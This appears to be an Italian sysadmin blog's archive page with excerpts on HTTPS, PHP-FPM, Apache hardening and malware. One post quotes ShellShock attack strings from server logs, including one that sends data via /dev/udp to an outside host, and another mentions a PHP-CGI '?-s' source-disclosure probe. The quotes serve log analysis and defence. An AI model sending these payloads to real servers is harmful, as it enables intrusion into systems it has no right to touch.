Sotto stretta sicurezza

In questo blog si è parlato in abbondanza di HTTPS e a piena ragione: la sicurezza dei nostri dati è una cosa importante che non va presa alla leggera.
Non ci stancheremo di ripetere che la privacy è un diritto di tutti e, di conseguenza, è un dovere della comunità IT fare tutto il possibile per renderla tecnicamente fattibile.

Il protocollo HTTPS è un passo in questa direzione: Google non è stata la prima a impegnarsi in questo senso, ma il suo peso specifico nel panorama tecnologico fa sì che ogni suo movimento sia il più rilevante, nonché quello che riceve la più ampia risonanza.
Questo post sul loro blog di sicurezza ha fatto notizia ed è una delle dichiarazioni giustamente più citate.
In particolare, mi piace focalizzare l’attenzione sulla immagine che mi sembra la più rappresentativa: un giorno tutte le pagine HTTP saranno trattate come Not secure. Ovvero, non sarà più HTTPS a essere una sicurezza in più, ma HTTP a esserne una in meno! Leggi tutto “Sotto stretta sicurezza”

Risolvere gli errori delle CA intermedie

Sempre più siti adottano certificati validati dalla PKI, grazie anche a fornitori molto convenienti.

Alcuni certificati acquistati necessitano di una serie di CA oppure di certificati intermedi affinché il client li possa verificare correttamente.

Esistono tool online come quello di SSL Hopper che permettono di verificare se il server dichiara correttamente la catena di certificati che validano quello che si sta utilizzando. Leggi tutto “Risolvere gli errori delle CA intermedie”

Tentativi di exploit di ShellShock

Poco tempo dopo l’annuncio di ShellShock i tentativi di hacking sono già iniziati.

Questa mattina i log di alcuni server che amministro rivelano quasi tutti l’accesso con masscan spiegato in questo articolo, ma si tratta di un’analisi, non di un tentativo vero e proprio di sfruttare la vulnerabilità. In questo caso la stringa richiesta via http è quella che si vede nell’articolo.

Anche il servizio di hosting Snel sta facendo passare la rete alla ricerca di host vulnerabili dall’IP 89.207.135.125:

“GET /cgi-sys/defaultwebpage.cgi HTTP/1.0” 404 63579 “-” “() { :;}; /bin/ping -c 1 198.101.206.138”

Un altro apparente test, ma con richieste più dettagliate arriva dall’IP 54.251.83.67 appartenente al cloud computing di Amazon:

“GET / HTTP/1.1” 200 4093 “-” “() { :;}; /bin/bash -c \”echo testing9123123\”; /bin/uname -a”

Altro tentativo dal 24.251.197.244, un IP di Cox:

“GET / HTTP/1.1” 200 208051 “-” “() { :; }; echo -e \”Content-Type: text/plain\\n\”; echo qQQQQQq”

Decisamente il meno amichevole di tutti il tentativo che proviene dall’IPv6 2001:4800:7812:514:1b50:2e05:ff04:c849 di un datacentre americano di RackSpace

“GET / HTTP/1.1” 200 208133 “-” “() { :;}; echo shellshock-scan > /dev/udp/pwn.nixon-security.se/4444”

Notare qui l’uso di /dev/udp descritto in questo articolo.

WAMP su Windows 7

Questo articolo spiega come configurare una struttura WAMP su un Windows 7 installando i singoli programmi separatamente.

Esistono anche dei kit preconfezionati come, a puro titolo di esempio, EasyPHP, ma è più istruttivo costruire da soli la propria configurazione in quanto si imparano meglio il funzionamento e l’interazione dei vari componenti, si possono aggiornare i singoli programmi senza dipendere da terzi ed è molto più semplice di quello che si possa credere. Le istruzioni di seguito partono da alcuni presupposti e hanno alcune limitazioni, tra cui:

  • l’installazione non ha una sicurezza adatta ad un server pubblico, ma è pensata per un server di sviluppo protetto da altri metodi;
  • la piattaforma su cui viene installato il tutto è un Windows 7 a 64 bit e, dove possibile, vengono installate le versioni a 64 bit dei programmi;
  • vengono installate le ultime versioni disponibili dei software cercando il più possibile di mantenere i default;
  • tutti i download suggeriti riguardano solamente programmi gratuiti, anche se per alcune utility esistono alternative a pagamento;
  • ripeto: non usate questa procedura per configurare un server pubblicato su Internet.

Queste istruzioni sono valide per le ultime versioni di Apache (2.4), PHP (5.5) e MariaDB (10.0), con versioni precedenti potrebbero essere necessarie ulteriori modifiche o accorgimenti per far funzionare il tutto. Leggi tutto “WAMP su Windows 7”

PHP FastCGI Process Manager con CentOS 6

Con Apache gli script PHP possono essere interpretati essenzialmente in due modi: attraverso un modulo apposito (mod_php) o richiamando l’interprete PHP con FastCGI.

In molti casi si utilizza mod_php perché è l’opzione di default preconfigurata, ma ci sono delle alternative, con vantaggi e svantaggi che vanno valutati con attenzione.

mod_php è in genere (ma anche qui ci potrebbero essere eccezioni) più veloce e permette di personalizzare alcune direttive di configurazione all’interno del file .htacess; il rovescio della medaglia è che l’interprete PHP viene caricato assieme ad ogni istanza di Apache, anche quando non serve perché viene richiesto un file di testo o un file con un’immagine, e viene eseguito nel suo stesso contesto di sicurezza.

Utilizzando FastCGI il codice eseguito dall’interprete PHP è completamente separato da quello del web server, quindi si può definire un contesto di sicurezza differente da quello utilizzato dal server e l’interprete viene eseguito solamente quando è necessario. Nel 2012 è stata scoperta una vulnerabilità di PHP eseguito via CGI tale per cui richiamando una pagina mettendo nell’URL ?-s (esempio: http://www.example.com/index.php?-s) viene visualizzato il sorgente dello script al posto del risultato. Il baco è stato corretto, ma vale la pena di eseguire un test se si passa da mod_php a FastCGI.

Dalla versione 5.3 PHP ha introdotto FastCGI Process Manager (FPM), una tecnologia per demonizzare l’interprete PHP e richiamarlo da server HTTP differenti anche, volendo, da host diversi. FPM crea uno o più pool di server, ciascuno con un proprio contesto di sicurezza e una propria configurazione, in questo modo il numero di worker che interpretano il codice PHP può essere diverso dai worker del server HTTP.

Vediamo come passare da mod_php a FPM su un’installazione CentOS 6.

Leggi tutto “PHP FastCGI Process Manager con CentOS 6”

Apache: proteggere le directory di upload

Nella sicurezza non esiste un solo silver bullet, ma ci sono tanti piccoli accorgimenti che aiutano a rafforzare un sistema.

Uno dei problemi dei siti è il controllo e l’isolamento dei file caricati dagli utenti o da sconosciuti. Ci sono vari modi per mitigare eventuali  problemi che si possono verificare quando viene caricato un file indesiderato, qui ne viene esposto uno, ben sapendo che non si tratta dell’unico.

Il tipico esempio di directory pericolosa per un sito è la directory /wp-content/uploads di WordPress. Un metodo per mitigare gli attacchi è disabilitare qualsiasi tipo di esecuzione di script o programmi da questa directory da parte di Apache aggiungendo queste direttive alla configurazione del sito:

<Directory /path/wp-content/uploads/>
  AllowOverride none
  RemoveHandler .cgi .pl .py
  <FilesMatch "\.(php|p?html?)$">
    SetHandler none
  </FilesMatch>
</Directory>

In questo modo nessun file CGI, Perl, Python o PHP caricato in quella directory potrà essere interpretato come tale se richiamato da Apache.

Logstalgia

logstalgiaLogstalgia è un software di visualizzazione grafica del traffico web.

Il programma supporta i più comuni formati di log NCSA (common, extended, combined) con o senza informazioni sul virtual host.

Ogni riga del log (quindi ogni richiesta http) è rappresentata da una pallina che percorre la finestra da sinistra a destra. Se si tratta di un errore, la pallina esce dallo schermo a destra, altrimenti viene rimbalzata da una racchetta stile Pong.

Sono disponibili i sorgenti per Linux che possono essere compilati senza problemi anche su MacOS e l’eseguibile per Windows. È necessario il supporto di OpenGL.

Qui c’è un video di esempio dell’output del programma, la musica è stata aggiunta in postproduzione.

È possibile visualizzare un file di log in differita oppure alimentare Logstalgia via stdin tramite tail -f  di un log in tempo reale; avete un monitor appeso nella computer room che non sapete come impegnare?

Backdoor per Apache

Porta / DoorSucuri ha analizzato una variante di malware battezzata Linux/Cdorked.A che colpisce Apache nei server gestiti tramite cPanel.

In questo caso si tratta di una backdoor attivata tramite la sostituzione del file /usr/local/apache/bin/httpd (il programma vero e proprio di Apache) con uno infetto. Per rendere più difficile la rimozione del file compromesso, httpd viene marcato come immutabile.

Ovviamente il file compromesso ha la stessa data e ora di creazione di quello originale, rendendo impossibile utilizzare questo semplice metodo per rilevare la versione compromessa. A parte l’uso di lsattr per verificare se /usr/local/apache/bin/httpd è immutabile, si può dare il comando

grep -r open_tty /usr/local/apache/

Se l’esito è positivo, il sistema è compromesso perché i programmi originali di Apache non contengono chiamate a open_tty.

Leggi tutto “Backdoor per Apache”

Virtual host di Apache in IPv6

Disco di Festo / Disc of Phiastos

La prima versione di questo articolo spiegava in maniera onestamente un po’ cervellotica come abilitare su un server CentOS 6 la gestione degli host virtuali di Apache 2.2 basati sugli indirizzi (IP-based virtual host) per IPv6 e basati sul nome (name-based virtual host) per IPv4.

Questa revisione si propone lo stesso scopo, ma con un metodo molto più rapido e meno invasivo.

Nella documentazione di Apache viene detto esplicitamente che la gestione degli host virtuali basati sul nome è una tecnologia creata per far fronte alla scarsità degli indirizzi IPv4; dal momento che questo non è un problema di IPv6, possiamo usare tranquillamente gli host virtuali basati sugli IP. Questa tecnologia permette, tra le altre cose, di avere più certificati HTTPS caricati sul medesimo server.

Se viene mantenuto da tutti i fornitori di servizi il metodo scelto dal fornitore di Siamo Geek, ad ogni server in hosting viene fornito un sostanzioso blocco di IPv6 (un /64 nel nostro caso), la qual cosa permette di avere una messe di IPv6 a disposizione per farci quello che si vuole.

In questa procedura viene utilizzata la modalità mista di host virtuali di Apache 2.2 duplicando le definizioni nella configurazione. Ovviamente le directory con i siti non devono essere duplicate.

Leggi tutto “Virtual host di Apache in IPv6”

Nginx sorpassa MS IIS

Secondo Netcraft all’inizio del 2012 Nginx ha sopravanzato IIS  nella classifica dei siti attivi.

E’ solo un primo sorpasso in quanto nelle altre classifiche (Top Server /Top Servers Across the Million Busiest Sites) il webserver di Microsoft mantiene momentaneamente il secondo posto dietro all’ottimo Apache.

Ma è solo questione di tempo in quanto il trend di crescita di Nginx lascia ben sperare…

Per chi non conoscesse Nginx si tratta di un webserver opensource ad altissime prestazioni.

Rilasciato nel 2004 è cresciuto costantemente. Attualmente è l’unico prodotto di questa categoria ad avere un trend di crescita positivo.

E’ utilizzato da numerosi siti ad alto traffico tra i quali  WordPress,  Github,  SourceForge.

Apache server 2.4.1

E’ uscita l’attesa major release (2.4.1) del più diffuso webserver al mondo.

Potete leggere qui in dettaglio le numerose novità introdotte dalla nuova versione.

Si notano ottimizzazioni delle prestazioni (p. es minor uso della memoria) nuove direttive per la configurazione e una quantità non indifferente di nuovi moduli oltre che miglioramenti per quelli già presenti nelle versioni precedenti.